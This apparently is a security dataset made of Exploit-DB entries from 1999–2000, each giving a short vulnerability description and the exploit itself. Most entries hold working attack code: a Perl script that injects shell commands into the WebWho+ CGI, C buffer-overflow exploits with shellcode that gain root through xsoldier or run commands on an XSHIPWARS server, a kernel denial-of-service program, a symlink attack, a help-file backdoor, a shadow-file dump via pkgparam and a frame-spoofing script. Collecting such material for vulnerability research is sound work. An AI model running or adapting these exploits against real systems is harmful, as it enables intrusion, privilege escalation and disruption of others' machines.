QLWD/code_shield huggingface dataset:
标题: Tony Greenwood WebWho+ 1.1 - Remote Command Execution EDB-ID: 19691 CVE: 2000-0010 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/892/info

WebWho+ is a free cgi script written by Tony Greenwood for executing whois queries via the www. Though it does perform checks for shell escape characters on some parameters, it misses the 'type' variable and allows for malicious input to be sent to a shell. It is possible to execute arbitrary commands on a webserver running WebWho+ v1.1 with the uid of the webserver (usually nobody). 

#!/usr/bin/perl
#
# hhp-webwho.pl
# WebWho+ v1.1 (whois cgi) remote exploit.
#
# By: loophole of hhp.
# [12/26/99]
#
# http://hhp.perlx.com/
# loophole@hhp.perlx.com
#
# Advisrory: http://hhp.perlx.com/ouradvisories/hhp-webwho.txt

use IO::Socket;

if (@ARGV < 2)
 {
  print "* hhp-webwho.pl\n";
  print "* webwho.pl (whois cgi) remote exploit.\n";
  print "* By: loophole of hhp.\n";
  print "* loophole\@hhp.perlx.com\n";
  print "* http://hhp.perlx.com/\n\n";
  print "USAGE: $0 <Server> [-e <File Extention>] <Command>\n\n";
  print "* Server         = www.example.com\n";
  print "* File Extension = /cgi-bin/webwho.pl\n";
  print "* Command        = Shell command\n\n";
  print "* NOTE: Defualt <File Extension> is /cgi-bin/webwho.pl\n";
  print "*       It only needs changing if it is not the defualt.\n\n";
  print "* EXAMPLE: $0 www.gat.org id\n";
  print "*      OR: $0 www.gat.org -e /jack/webwho.pl id\n";
  exit 0;
 }

if ($ARGV[1] eq "-e")
 {
  if (@ARGV != 4)
   {
    print "Invalid Usage!\n";
    exit 0;
   }
  $server     = $ARGV[0];
  $saywhatnig = $ARGV[2];
  $command    = $ARGV[3];
 }
  else
   {
    if (@ARGV == 2)
     {
      $server     = $ARGV[0];
      $command    = $ARGV[1];
      $saywhatnig = "/cgi-bin/webwho.pl";
     }
   }

$sock = IO::Socket::INET->new(PeerAddr => $server,
                              PeerPort => 80,
                                 Proto => "tcp") or die "Wack connection.\n";

$calkuhlashun = 45 + length($command);

  print $sock "POST $saywhatnig HTTP/1.1\n";
  print $sock "Accept-Language: en-us\n";
  print $sock "Host: $server\n";
  print $sock "Content-Length: $calkuhlashun\n";
  print $sock "Connection: Keep-Alive\n\n";
  print $sock 'command=X&type=";echo fukk;';
  print $sock "$command";
  print $sock ";echo fokk&Check=X\n";
  $doot = 0;

  while(<$sock>)
   {
    s/\n//g;
    s/fukk<br>/--------Exploit Stats------------/;
    s/fokk<br>/-hhpfoelife-\n/;
    s/<br>//g;
    $foo = $_;

     if ($foo =~ /---Ex/)
      {
       $doot = 1;
      }

     if ($foo =~ /-hhpfoelife-/)
      {
       $doot = 0;
       print "---------------------------------\n";
       exit 0;
      }

     if ($doot == 1) 
      {
       print "$foo\n";
      }  
   }
exit 0; URL: https://www.exploit-db.com/exploits/19691
标题: Infoseek Ultraseek 2.1/3.1 for NT - GET Buffer Overflow EDB-ID: 19679 CVE: 1999-0996 类型: REMOTE 平台: WINDOWS 发布日期: 1999-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/874/info

Infoseek's Ultraseek enterprise search server listens on port 8765 by default for HTTP commands. The code that handles GET commands has an unchecked buffer that will allow arbitrary code to be executed if it is overflowed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19679-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19679-2.zip URL: https://www.exploit-db.com/exploits/19679
标题: Linux Kernel 2.0.x (Debian 2.1 / RedHat 5.2) - Packet Length with Options EDB-ID: 19675 CVE: 1999-0986 类型: DOS 平台: LINUX 发布日期: 1999-12-08 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/870/info

Debian 2.1,Linux kernel 2.0.34/2.0.35/2.0.36/2.0.37/2.0.38,RedHat 5.2 i386 Packet Length with Options Vulnerability

A vulnerability in the Linux kernel's TCP/IP allows local users to crash, hang or corrupt the system.

A local user can crash, hang or currupt the system by sending out a packet with options longer than the maximum IP packet length. An easy way to generate such packet is by using the command "ping -s 65468 -R ANYADDRESS". The -R option is for the IP record route option. Under kernel versions 2.2.X the command will fail with an message of "message too long".

The vulnerability seems to be the result of the kernel not checking aif packet with options is longer than the maximum packet size. A long packet seems to lead to memory corruption. 
*/


/* Exploit option length missing checks in Linux-2.0.38
   Andrea Arcangeli <andrea@suse.de> */

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

main()
{
 int sk;
 struct sockaddr_in sin;
 struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
 char payload[PAYLOAD_SIZE];

 sk = socket(AF_INET, SOCK_DGRAM, 0);
 if (sk < 0)
  perror("socket"), exit(1);

 if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
  perror("setsockopt"), exit(1);

 bzero((char *)&sin, sizeof(sin));

 sin.sin_port = htons(0);
 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = htonl(2130706433);

 if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
  perror("connect"), exit(1);

 if (write(sk, payload, PAYLOAD_SIZE) < 0)
  perror("write"), exit(1);
} URL: https://www.exploit-db.com/exploits/19675
标题: Microsoft Windows 95/98/NT 4.0 - Help File Backdoor EDB-ID: 19673 CVE: 1999-0975 类型: LOCAL 平台: WINDOWS 发布日期: 1999-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/868/info

The help files for the Windows Help system (*.cnt, *.hlp) can be edited so that they run an arbitrary executable when selected by a user. The executable will run at the privelege level of the user.

The *.cnt files are like tables of contents that tell the help system what to open when each topic is selected. These entries can be edited to cause system and DLL calls and programs to be executed when a topic is chosen. The help files themselves, *.hlp, can be edited in a similar manner.


- Delete C:\Program Files\Microsoft Office\Office\WDMAIN8.GID
(kill winhlp32.exe process if necessary)

- Edit C:\Program Files\Microsoft Office\Office\WDMAIN8.CNT
which is a text file. You should change the line which has
something like:

3 Word 97 new features=woidxWhatsNewInMicrosoftWord97@wdnew8.hlp>REF

to read:

3 Word 97 new features=!EF("CMD.EXE","",1)

- Run WinWord and select Help|Contents from menubar.
- Find topic "Word 97 new features" and select it.
- You should see CMD.EXE to run. URL: https://www.exploit-db.com/exploits/19673
标题: xsoldier (FreeBSD 3.3/Linux Mandrake 7.0) - Local Buffer Overflow (2) EDB-ID: 19677 CVE: 1999-1008 类型: LOCAL 平台: LINUX 发布日期: 2000-05-17 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/871/info
 
Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.
 
The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.
 
The user does not have to have a valid $DISPLAY to exploit this.
*/

/*Larry W. Cashdollar linux xsolider exploit.
 *lwc@vapid.dhs.org http://vapid.dhs.org
 *if xsolider is built and installed from its source it will be installed
 *setuid root in /usr/local/games 
 *original exploit found by brock tellier for freebsd 3.3 ports packages.
 *If a setregid() call is placed in the shellcode, you can get egid=12
 *with the default mandrake installation.*/


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90  /*no operation skip to next instruction. */
#define LEN 4480   /*our buffersize. */


char shellcode[] =  /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  "\xc2\x91";


/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i, offset;
  long retaddr = get_sp ();

  if (argc <= 1)
    offset = 0;
  else
    offset = atoi (argv[1]);

/*#Copy the NOPs  in to the buffer leaving space for shellcode and
  #pointers*/

  for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
    *(buffer + i) = NOP;

/*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
/*                      ^-- LEN -(strlen(shellcode)) - 35*/
/*#Copy the shell code into the buffer*/

  memcpy (buffer + i, shellcode, strlen (shellcode));

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS            ]*/
/*                      ^-(buffer+i)                 */
/*#Fill the buffer with our new address to jump to esp + offset */

  for (i = i + strlen (shellcode); i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr+offset;

/*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
/*                                      ^-(i+strlen(shellcode))*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);
  execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0);

} URL: https://www.exploit-db.com/exploits/19677
标题: WolfPack Development XSHIPWARS 1.0/1.2.4 - Remote Buffer Overflow EDB-ID: 19667 CVE: 1999-0972 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-12-09 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/863/info

Xshipwars a graphical 'star battle' client/server based game which runs a variety of platforms. Certain versions of the server which facilitates this game (versions before 1.25) had a remotely exploitable buffer overflow. The exploit would result in the execution of arbitrary commands as the UID of the server process. 
*/

/* If the offset is off for your box, then the server will still crash,
 and will begin an endless loop of sending itself log messages,
 filling up whatever space it can on whatever partition it's installed
 on. This is less than optimal behavior, so quickly find and kill the
 server if your exploit fails. 

       Love,
       A. Woodward, Dec 1999

<cut this and paste it into your client's source file, modify your
.h's to raise the limit on a few variables (grep for 256 and turn them
into 2560), recompile, and enjoy> */

/*
 * Sends a literal command.
 */
/*hacked to send our attack buffer!*/

int 
NetSendExec(char *arg)
{
  char larg[CS_MESG_MAX];
  char sndbuf[CS_DATA_MAX_LEN];
  char exploitbuf[CS_DATA_MAX_LEN];
  int i;

  /*test shellcode. No whitespace, just exec's /tmp/xx. If it's not
    there, does random things. Replace this for slightly more
    fun. ;> */
      char code[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/xx";
 

 
#define SIZEOFBUF 229
 memset(exploitbuf,0x41,SIZEOFBUF);

#define SHELLSTART 50
 memcpy(exploitbuf+SHELLSTART,code,strlen(code));
 
 /*Return to: 0xbfffebe4 Your Kilometerage May Vary*/
 exploitbuf[132]=0xe4;
 exploitbuf[133]=0xeb;
 exploitbuf[134]=0xff;
 exploitbuf[135]=0xbf;
 
 exploitbuf[SIZEOFBUF-1]=0;

 /*
 if(arg == NULL)
     return(-1);
 if(arg[0] == '\0')
     return(-2);
 */

 /*strncpy(larg, arg, CS_MESG_MAX);*/
 strncpy(larg, exploitbuf, CS_MESG_MAX);
 larg[CS_MESG_MAX - 1] = '\0';
 

        /* 
         *   NET_CMD_EXEC format is as follows:
         *
         *      argument
         */
        sprintf(sndbuf, "%i %s\n",
                CS_CODE_LITERALCMD,
                larg
        );
        NetSendData(sndbuf);


 return(0);
} URL: https://www.exploit-db.com/exploits/19667
标题: GoodTech Telnet Server NT 2.2.1 - Denial of Service EDB-ID: 19666 CVE: 1999-0991 类型: DOS 平台: WINDOWS 发布日期: 1999-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/862/info


GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.

GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow. 

$ telnet victimhost

Trying victimhost...
Connected to victimhost.
Escape character is '^]'.

Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)

(C) Copyright 1996-1999 GoodTech Systems, Inc.


Login username: (32870 characters)

...server crash URL: https://www.exploit-db.com/exploits/19666
标题: xsoldier (FreeBSD 3.3/Linux Mandrake 7.0) - Local Buffer Overflow (1) EDB-ID: 19676 CVE: 1999-1008 类型: LOCAL 平台: LINUX 发布日期: 2000-05-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/871/info

Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.

The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.

The user does not have to have a valid $DISPLAY to exploit this.

/* 
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/


#include <stdio.h>

char shell[]= /* mudge@l0pht.com */
 "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

void buildui() {
FILE *fp;
 char cc[100];
 fp = fopen("/tmp/ui.c", "w");
 fprintf(fp, CODE);
 fclose(fp);
 snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
 system(cc);
}

main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();

if (argv[1]) { 
  offset = atoi(argv[1]);
  eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

for ( x = 0; x < 4325; x++) buf[x] = 0x90;
   fprintf(stderr, "NOPs to %d\n", x);

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
   fprintf(stderr, "Shellcode to %d\n",x);
 
 buf[x++] = eip & 0x000000ff;
 buf[x++] = (eip & 0x0000ff00) >> 8;
 buf[x++] = (eip & 0x00ff0000) >> 16;
 buf[x++] = (eip & 0xff000000) >> 24;
   fprintf(stderr, "eip to %d\n",x);

buf[bsize]='\0';

execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

} URL: https://www.exploit-db.com/exploits/19676
标题: SCO Unixware 7.0/7.0.1/7.1/7.1.1 - 'coredump' Symlink EDB-ID: 19659 CVE: 1999-0864 类型: LOCAL 平台: SCO 发布日期: 1999-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/851/info


Under certain versions of SCO UnixWare if a user can force a program with SGID (Set Group ID) to dump core they may launch a symlink attack by guessing the PID (Process ID) of the SGID process which they are calling. This is required because the coredump file will be dumped to the directory in which it is being executed from as './core.pid'. The program dumping core does not check for the existence of a symlinked file and will happily overwrite any file which it has permission to do so to. Many SGID binaries under Unixware are in the group 'sgid-sys' a group which has write permission to a large number of system critical files.

This attack will most likely result in a denial of service attack, however if the attacker can provide some provide data to the core file she may be able to leverage root access. For example is the intruder were able to get '+ +' into a line of it's own in the core file the intruder could then overwrite root's .rhosts file. 

#!/bin/sh
####
# Exploit for UnixWare 7.1 - sgid coredumps follow symlinks.
# Guessing pid is trivial. Any sgid program which will coredump can be used
# -Brock Tellier, btellier@usa.net
####
pid=`expr $$ + 4`;
ln -s /path/to/sys/group/writable/file core.$pid
/usr/sbin/arp `perl -e "print 'A' x 10000"` URL: https://www.exploit-db.com/exploits/19659
标题: Microsoft Internet Explorer 5 - vnd.ms.radio URL EDB-ID: 19665 CVE: 1999-0989 类型: LOCAL 平台: WINDOWS 发布日期: 1999-12-06 漏洞利用脚本: Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 vnd.ms.radio URL Vulnerability

source: https://www.securityfocus.com/bid/861/info

Internet Explorer can handle URLs of type vnd.ms.radio: for streaming audio content. If a URL with 360 or more characters after 'vnd.ms.radio' is specified, a buffer in the file MSDXM.OCX gets overwritten, allowing arbitrary code to be run on the client machine. 

The following is the binary for a URL or link which overflows the stack and displays a simple MessageBox, then loops endlessly.
All binary data is represented like: [xx]. Everything else is text.

Off Data
------------------------------------------------
000 vnd.ms.radio:\\j
010 kwashere9991[C0][89][07][83]
020 [EF][0C]PWWP[FF][15][14][16]0[1D][EB][FE]00
030 0000000000000000
040 0000000000000000
050 0000000000000000
060 0000000000000000
070 0000000000000000
080 0000000000000000
090 0000000000000000
0A0 0000000000000000
0B0 0000000000000000
0C0 0000000000000000
0D0 0000000000000000
0E0 0000000000000000
0F0 0000000000000000
100 0000000000000000
110 0000000000000000
120 0000000000000000
130 0000000000[1D]00000
140 00[1D]000[1D]000[1D]000[1D]0
150 000[1A][6F][36][1D]0000000[1D]0
160 000000[1D]0
------------------------------------------------ URL: https://www.exploit-db.com/exploits/19665
标题: Microsoft Internet Explorer 4.1/5.0/4.0.1 - Subframe Spoofing EDB-ID: 19662 CVE: 1999-0869 类型: REMOTE 平台: WINDOWS 发布日期: 1999-11-30 漏洞利用脚本: Internet Explorer 4.1 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 Subframe Spoofing Vulnerability

source: https://www.securityfocus.com/bid/855/info

IE's default security settings allow a malicious webpage to open a new browser, open another site's main frame in that new browser and then set any subframes to a URL of their choosing. This could lead to misappropriation of private information, among other problems. 

<SCRIPT>
b=window.open("http://www.citybank.com");
function g()
{
b.frames[2].location="http://www.yahoo.com";
}
setTimeout("g()",6000);
</SCRIPT> URL: https://www.exploit-db.com/exploits/19662
标题: Cat Soft Serv-U FTP Server 2.5a - SITE PASS Denial of Service EDB-ID: 19664 CVE: 1999-0838 类型: DOS 平台: WINDOWS 发布日期: 1999-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/859/info

If the Serv-U FTP server receives an overly long argument to the SITE PASS command, it will crash. To issue this command, an attacker must be already logged in as an authenticated user, including an 'anonymous' user.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19664.zip URL: https://www.exploit-db.com/exploits/19664
标题: SCO Unixware 7.1 - 'pkg' Local Privilege Escalation EDB-ID: 19658 CVE: 1999-0828 类型: LOCAL 平台: SCO 发布日期: 1999-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/850/info

Certain versions of SCO's Unixware (only version 7.1 was tested) ship with a series of package install/removal utilities which due to design issues under the SCO UnixWare operating system may read any file on the system regardless of their permission set. This is due to the package commands (pkginfo, pkgcat, pkgparam, etc.) having extended access due to Discretionary Access
Controls (DAC) via /etc/security/tcb/privs. This mechanism is explained more thoroughly in the original message to Bugtraq which is listed in full in the 'Credit' section of this vulnerability entry.

bash-2.02$ ls -la /bin/pkgparam
-r-xr-xr-x 1 root sys 166784 May 21 1999
/bin/pkgparam
bash-2.02$ /bin/pkgparam -f /etc/shadow
Dy0l3OC7XHsj.:10925::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
NP:6445::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
BgusHRQZ9MH2U:10878::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
*LK*:::::::
nv.Xrh2V3vArc:10882::::::
ozT.yeRe1/dxY:10882::::::
RinwpQfqabYbc:10928::::::
bash-2.02$

Now just concatenate the first field of /etc/passwd with this file and run your favorite cracker. URL: https://www.exploit-db.com/exploits/19658
标题: SCO Unixware 7.1 - '/var/mail' Permissions EDB-ID: 19657 CVE: 1999-0825 类型: LOCAL 平台: SCO 发布日期: 1999-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/849/info

Certain versions of SCO's UnixWare (only 7.1 was tested) ship with the /var/mail/
directory with permission 777(-rwxrwxrwx) . This in effect allows malicious users to read incoming mail for users who do not yet have a mail file (/var/mail/username) present. This may be done by simply creating the file in question with a permission mode which is readable to the attacker. 

bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ pwd
/var/mail
bash-2.02$ touch btellier
bash-2.02$ chown btellier btellier
bash-2.02$ ls -la btellier
-rw-r--r-- 1 btellier other 0 Dec 4 07:54 btellier

Now wait for btellier to get some mail... URL: https://www.exploit-db.com/exploits/19657
标题: FreeBSD 3.3 - Seyon SetGID Dialer EDB-ID: 19651 CVE: 1999-0821 类型: LOCAL 平台: FREEBSD 发布日期: 1999-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/838/info

FreeBSD 3.3-RELEASE ships with Seyon, a communications program which is known to have several vulnerabilities which can allow for a malicious user to elevate priviliges. The vulnerability, however, is that seyon is still installed setgid dialer in FreeBSD. When seyon is exploited, a local user can grant him/herself priviliges which allow access to the communications devices or anything else accessable by the group dialer. 

One of the methods to exploit seyon is shown below:

bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c
bash-2.03$ gcc -o id id.c
bash-2.03$ seyon -emulator ./id
uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec) URL: https://www.exploit-db.com/exploits/19651